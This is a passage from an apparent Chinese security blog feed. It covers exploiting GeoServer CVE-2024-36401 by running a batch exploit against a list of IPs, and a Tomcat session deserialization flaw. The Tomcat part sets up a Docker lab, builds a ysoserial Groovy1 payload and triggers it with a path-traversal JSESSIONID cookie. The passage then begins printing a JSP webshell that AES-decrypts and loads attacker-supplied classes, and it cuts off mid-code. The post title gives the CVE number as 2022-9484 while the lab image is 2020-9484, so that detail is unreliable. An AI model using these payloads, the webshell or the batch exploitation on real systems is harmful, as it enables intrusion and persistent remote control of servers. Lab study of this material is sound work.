&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;POC有问题，不成功，建议使用反弹shell后再用别的工具建立探针控制。&lt;/p&gt;
&lt;h3 id="工具批量监测"&gt;工具批量监测
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;git clone https://mirror.ghproxy.com/https://github.com/RevoltSecurities/CVE-2024-36401.git
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2024-36401/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;python exploit.py -l geoserverip.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723517374299" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723517374299.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;参考链接
&lt;a class="link" href="https://mp.weixin.qq.com/s/h4oswTGGaxVBLXR_h7PT1Q" target="_blank" rel="noopener"
 &gt;https://mp.weixin.qq.com/s/h4oswTGGaxVBLXR_h7PT1Q&lt;/a&gt;
&lt;a class="link" href="https://cloud.tencent.com/developer/article/2437213" target="_blank" rel="noopener"
 &gt;https://cloud.tencent.com/developer/article/2437213&lt;/a&gt;
&lt;a class="link" href="https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md" target="_blank" rel="noopener"
 &gt;https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md&lt;/a&gt;
&lt;a class="link" href="https://github.com/pen4uin/java-memshell-generator" target="_blank" rel="noopener"
 &gt;https://github.com/pen4uin/java-memshell-generator&lt;/a&gt;
&lt;a class="link" href="https://xz.aliyun.com/t/14991?time__1311=GqAh0IqGxmxfx0v44%2BxCqqQwwbugt03x" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/t/14991?time__1311=GqAh0IqGxmxfx0v44%2BxCqqQwwbugt03x&lt;/a&gt;
&lt;a class="link" href="https://github.com/RevoltSecurities/CVE-2024-36401" target="_blank" rel="noopener"
 &gt;https://github.com/RevoltSecurities/CVE-2024-36401&lt;/a&gt;
&lt;a class="link" href="https://yzddmr6.com/posts/geoserver-memoryshell/" target="_blank" rel="noopener"
 &gt;https://yzddmr6.com/posts/geoserver-memoryshell/&lt;/a&gt;
&lt;a class="link" href="https://cn-sec.com/archives/2997415.html" target="_blank" rel="noopener"
 &gt;https://cn-sec.com/archives/2997415.html&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;</description></item><item><title>CVE-2022-9484 Apache Tomcat Session 漏洞利用</title><link>https://ruajingjing.top/post/cve-2022-9484-apache-tomcat-session-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/</link><pubDate>Thu, 08 Aug 2024 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/cve-2022-9484-apache-tomcat-session-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post CVE-2022-9484 Apache Tomcat Session 漏洞利用" /&gt;&lt;h2 id="配置靶场"&gt;配置靶场
&lt;/h2&gt;&lt;p&gt;拉取靶场环境。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker pull vulfocus/tomcat-cve_2020_9484
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name tomcat-cve_2020_9484 -p 8080:8080 vulfocus/tomcat-cve_2020_9484:latest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Docker 拉取镜像太慢换源&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;sudo mkdir -p /etc/docker
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo tee /etc/docker/daemon.json &lt;span class="s"&gt;&amp;lt;&amp;lt;-&amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;registry-mirrors&amp;#34;: [
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;https://yxzrazem.mirror.aliyuncs.com&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;https://registry.docker-cn.com&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;https://docker.mirrors.ustc.edu.cn&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;https://hub-mirror.c.163.com&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; &amp;#34;https://mirror.baidubce.com&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;sudo systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;sudo systemctl restart docker
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;https://yxzrazem.mirror.aliyuncs.com&lt;/code&gt; 这个镜像非常快，推荐使用。&lt;/p&gt;
&lt;h3 id="docker-常用命令"&gt;Docker 常用命令
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拉取镜像&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;docker pull tomcat:jdk8-openjdk 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;docker pull tomcat:8.5.55-jdk8-openjdk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看镜像&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;docker images 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 进入容器, 当前目录还是在tomcat镜像生成的容器目录下，可以使用:ctrl+p+q不退出容器的方式返回到宿主机目录下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; -it f8ca37b5df5d /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#出容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;ctrl+p+q
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用:ctrl+p+q不退出容器的方式返回到宿主机目录下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 重启容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;docker restart 容器ID
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;docker restart 31290cf1cc00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 停止容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;docker stop 容器id
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;docker stop 31290cf1cc00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 启动一个已经停止的容器实例&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;docker start 容器名称 或者 容器id tomcat_contract
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;docker start 31290cf1cc00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除容器,可使用 -f 参数强制删除容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;docker rm 31290cf1cc00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看所有的容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;docker ps -a 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看运行中的容器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;docker ps 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 运行镜像&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name tomcat_test -p 8088:8080 7254ff7719c0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;docker run -d --name tomcat_test -v /etc/localtime:/etc/localtime -p 2080:8080 tomcat:latest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 保存镜像成一个文件。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;docker save -o tomcat-8.5.55-jdk8-openjdk-dev-v0.1.tar tomcat-8.5.55-jdk8-openjdk-dev:v0.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 从容器拷贝文件到宿主机&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;docker load &amp;lt; hangge_server.tar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# docker cp 容器名：容器中要拷贝的文件名及其路径 要拷贝到宿主机里面对应的路径,拷贝容器中 tomcat的conf目录 到 宿主机 的 home/tomcat 目录下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;docker cp 827e39c506b1:/usr/local/tomcat/conf /home/tomcat_contract/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拷贝容器中 tomcat的webapps目录 到 宿主机 的 home/tomcat 目录下&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;docker cp 827e39c506b1:/usr/local/tomcat/webapps /home/tomcat_contract/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 删除images, 使用 docker load 命令则可将这个镜像文件载入进来。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;docker rmi 6e07337dc2a2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="groovy-执行漏洞"&gt;Groovy 执行漏洞
&lt;/h2&gt;&lt;h3 id="测试在docker中"&gt;测试（在Docker中）
&lt;/h3&gt;&lt;p&gt;&lt;img alt="图0" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-10-33-34.png"&gt;&lt;/p&gt;
&lt;p&gt;BurpSuit 抓包，修改请求头，添加&lt;code&gt;Cookie: redirect=1; JSESSIONID=../../../../../usr/local/tomcat/groovy&lt;/code&gt;，就能读到主目录下的文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图1" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-12-38-43.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图2" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-12-54-04.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图5" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-13-39-03.png"&gt;&lt;/p&gt;
&lt;p&gt;靶机上tmp目录生成了rce，存在漏洞。&lt;/p&gt;
&lt;h3 id="payload构造在攻击机上"&gt;Payload构造（在攻击机上）
&lt;/h3&gt;&lt;p&gt;生成payload，最好在目标靶机同系统的Linux上。&lt;/p&gt;
&lt;p&gt;下载&lt;a class="link" href="https://gh.api.99988866.xyz/https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar" target="_blank" rel="noopener"
 &gt;ysoserial漏洞利用工具&lt;/a&gt;，如果下载失败，上官网clone项目，然后&lt;code&gt;apt install maven&lt;/code&gt;安装包构建工具，再在ysoserial主目录下&lt;code&gt;mvn clean package -DskipTests&lt;/code&gt;生成jar包。&lt;/p&gt;
&lt;h4 id="使用方法"&gt;使用方法
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 &lt;span class="s2"&gt;&amp;#34;touch /tmp/2333&amp;#34;&lt;/span&gt; &amp;gt; /tmp/test.session
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图3" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-13-10-20.png"&gt;&lt;/p&gt;
&lt;p&gt;在本机目录下生成了test.session文件。文件内容是包含&amp;quot;touch /tmp/2333&amp;quot;命令的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图4" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-13-11-57.png"&gt;&lt;/p&gt;
&lt;p&gt;使用以下命令网文tomcat服务&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;curl &lt;span class="s1"&gt;&amp;#39;http://127.0.0.1:8080/index.jsp&amp;#39;&lt;/span&gt; -H &lt;span class="s1"&gt;&amp;#39;Cookie: JSESSIONID=../../../../../tmp/test&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="图7" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-15-02-07.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图6" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-15-01-35.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图8" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-15-02-45.png"&gt;&lt;/p&gt;
&lt;h3 id="总结注意"&gt;总结注意
&lt;/h3&gt;&lt;p&gt;Groovy示例代码和test说明了，需要目标靶机存在可以被攻击机上上传修改内容的test.seesion的文件，或者攻击机通过别的方式写入session文件，知道session可以访问的路径再请求。可用于tomcat文件上传漏洞中&lt;strong&gt;被限制了上传jsp后缀内容的绕过&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="图9" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-15-18-27.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="图12" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-18-56-04.png"&gt;&lt;/p&gt;
&lt;h3 id="进阶利用"&gt;进阶利用
&lt;/h3&gt;&lt;p&gt;&lt;img alt="图10" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/2024-07-25-16-38-21.png"&gt;&lt;/p&gt;
&lt;p&gt;生成jsp木马，将木马文件放到&lt;a class="link" href="https://blog.csdn.net/axela30w/article/details/76546735" target="_blank" rel="noopener"
 &gt;可访问的目录&lt;/a&gt;下，冰蝎或哥斯拉链接。JSP内容如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;%!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;3c6e0b8a9c15224a&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;X&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassLoader&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;X&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ClassLoader&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Q&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;defineClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;javax&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Cipher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;javax&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;AES&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;javax&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;SecretKeySpec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;AES&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 